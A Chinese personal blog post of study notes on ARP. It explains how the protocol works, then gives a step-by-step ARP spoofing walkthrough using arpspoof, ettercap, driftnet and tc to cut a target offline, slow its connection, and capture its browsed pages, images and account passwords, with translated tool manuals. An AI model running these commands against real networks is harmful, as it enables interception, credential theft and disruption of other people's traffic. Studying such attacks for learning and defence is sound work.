关于ARP欺骗和ARP攻击

趁着寒假偷偷卷哈哈哈🤪

ARP协议

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。

每一台主机都有一个arp高速缓存,里面有本局域网中的各主机和路由器的IP地址到硬件地址的映射表

工作流程

主机A和主机B各自有自己的IP地址和MAC地址,在主机A与主机B通信时,ARP协议可将主机B的IP地址解析为MAC地址。

第一步:

主机A首先确定用于访问主机B的IP地址,然后主机A在自己的本地ARP缓存中检查主机B的IP地址匹配的MAC地址

第二步:

如果主机A在ARP缓存中没有找到主机B的IP映射,它将询问主机B对应的硬件地址,会将ARP请求帧广播到本地网络上的所有主机,主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接受到ARP请求并检查是否与自己的IP地址匹配。如果主机发现请求的IP地址以自己的IP地址不匹配,他将丢弃ARP请求。

第三步:

主机B确定AARP请求中的IP地址于自己的IP地址匹配,并将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。

第四步:

主机B将包含MAC地址的ARP回复消息直接发送到主机A

第五步:

当主机A收到从主机B发来的ARP回复消息时,会使用主机B的IP地址和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束,将再次重复上面的内容。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。

命令窗口玩转ARP

输入arp提示使用方法

这里一开始总是说“’ARP’不是可执行的程序”,凭我踩坑经验知道这是环境变量的问题。费尽千辛万苦发现是因为我的环境变量里居然没有system32🥲。但是输入path查看是有它的,不知道哪里出了问题,加上之后重启就好啦

输入arp -a查看ARP缓存表信息

静态地址即主机自己配置生成的地址。

当主机新连接入一台设备,并且与主机产生通信后,aqp表会更新一条动态地址。

ARP攻击

ARP攻击就是通过伪造IP地址和MAC地址的对应关系,使得网络无法正常通信。即修改靶机的IP地址和MAC地址,使其他设备与靶机的通信无法正常进行,进而截断靶机流量。

可以直接使用arpspoof插件攻击

1
sudo arpspoof -i eth0  -t [目标IP] -r [网关]

这里”r”的用法没搞懂😣好像就是直接双向攻击

Ctrl+C或关闭终端即停止攻击

ARP欺骗

听说ARP欺骗配合DNS欺骗效果更佳🤨

可以用来干的坏事
  • 获取浏览图片
  • 获取靶机各平台输入的账号密码
  • 获取浏览地址
行骗方法
1.伪装成网关

欺骗源把自己伪装成网关,向局域网内的目标主机发送ARP报文,使得局域网内的主机误以为欺骗源的MAC地址是网关MAC地址,并将原本应该流向网关的数据都发送到欺骗源。

直接对靶机实施ARP欺骗

2.伪装成主机

用来欺骗局域网内的其他所有主机

欺骗源将自己伪装成局域网内的另一台主机3,将主机3的IP地址对应的MAC地址替换为欺骗元的IP地址对应的MAC地址使得局域网内靶机发往主机3的报文都流向欺骗源

分别对网关和靶机实施ARP欺骗

操作步骤(行骗步骤)

伪装成网关

首先查看欺骗源和靶机的IP地址

  • 直接查看:kali命令窗口输入ifconfig,Windows命令窗口输入ipconfig

  • 正经方法:

    1.在kali命令窗口输入fping -g xxx.xxx.xxx[网络号码].1/24查询目标网络下的所有主机IP

    2.输入命令nmap -sP xxx.xxx.xxx[网络号码].0/24查询目标网络下的所有主机IP

输入命令route-n查看网关

使用arpspoof行骗

kali命令窗口输入sudo arpspoof -h查看已经安装的arpspoof版本号,如果未安装,系统会弹出提示,按照提示安装即可

断网操作

把靶机发出的请求接受到攻击源主机,因为linux默认ip_forward为0,即不进行流量转发,所以靶机会断网

1
2
让靶机认为攻击源为网关:
sudo arpspoof -i [网卡] -t [目标IP] [网关]

或者反向欺骗

1
2
让网关认为攻击源是靶机:
sudo arpspoof -i [网卡] -t [网关] [目标IP]

网卡默认eth0

cat /proc/sys/net/ipv4/ip_forward 查看ip_forward的值。如果ip_forward为0,则被攻击主机不能上网;如果ip_forward为1,则被攻击主机可以上网

修改数值让他上网

1
echo 1 > /proc/sys/net/ipv4/ip_forward

权限不够就sudo -i 使用root权限改

限制网速

可以使用的工具有tc、iptables、WonderShaper等等,

以tc为例本菜鸡还没学会后两个😢:

1
2
3
4
5
限制网速200ms延时
sudo tc qdisc add dev eth0 root netem delay 200ms

取消限制网速200ms延时
sudo tc qdisc del dev eth0 root netem delay 200ms

拦截数据—获取浏览网页及账号密码

1
ettercap -Tq -i [网卡]

嗅探图片

1
driftnet  -i [网卡]

工具说明书

因为各种工具的使用说明都是英文的,所以直接利用万能的互联网搜了一下中文的使用指南:

driftnet
1
2
3
4
5
6
7
8
9
10
语法: driftnet   [options]   [filter code]

-b 捕获到新的图片时发出嘟嘟声
-i interface 选择监听接口
-f file 读取一个指定pcap数据包中的图片
-p 不让所监听的接口使用混杂模式
-a 后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)
-m number 指定保存图片数的数目
-d directory 指定保存图片的路径
-x prefix 指定保存图片的前缀名
arpspoof
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
名字 
arpspoof - 截获交换局域网中的数据包

用法
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

描述
arpspoof通过伪造的ARP响应包改变局域网中从目标主机(或所有主机)到另一个主机(host)的数据包转发路径。这是交换局域网中嗅探网络流量的一种极为有效的方法。
内核IP转发(或如fragrouter这样的、用户层面的、能完成同样功能的软件)必须提前开启。

参数
-i interface
指定要使用的接口(即指定一块网卡)

-c own|host|both
指定在恢复ARP配置时使用的硬件地址;当在清理(cleaning up)时,数据包的源地址可以用自己的也可以用主机(host)的硬件地址。
使用伪造的硬件地址可能导致某些配置下的交换网络、AP网络或桥接网络通信中断,然而它比起默认值————使用自己的硬件地址要工作地更为可靠。

-t target
指定一个特殊的、将被ARP毒化的主机(如果没有指定,则认为是局域网中所有主机)。重复可以指定多个主机。

-r 毒化两个主机(目标和主机(host))以捕获两个方向的网络流量。(仅仅在和-t参数一起使用时有效)

host host是你想要截获数据包的主机 (通常是网关)。

ettercap
1
2
3
4
5
i	后面跟着连接局域网的网卡
T 指的是text文本模式
q 以安静模式执行这个命令
M 指定攻击模式
>> 输出文件

发个笔记上来不然这个博客真的成碎碎念专栏了😶‍🌫️

我就是个菜鸡🍃


关于ARP欺骗和ARP攻击
https://shmodifier.github.io/2023/01/05/关于ARP欺骗和ARP攻击/
作者
Modifier
发布于
2023年1月5日
许可协议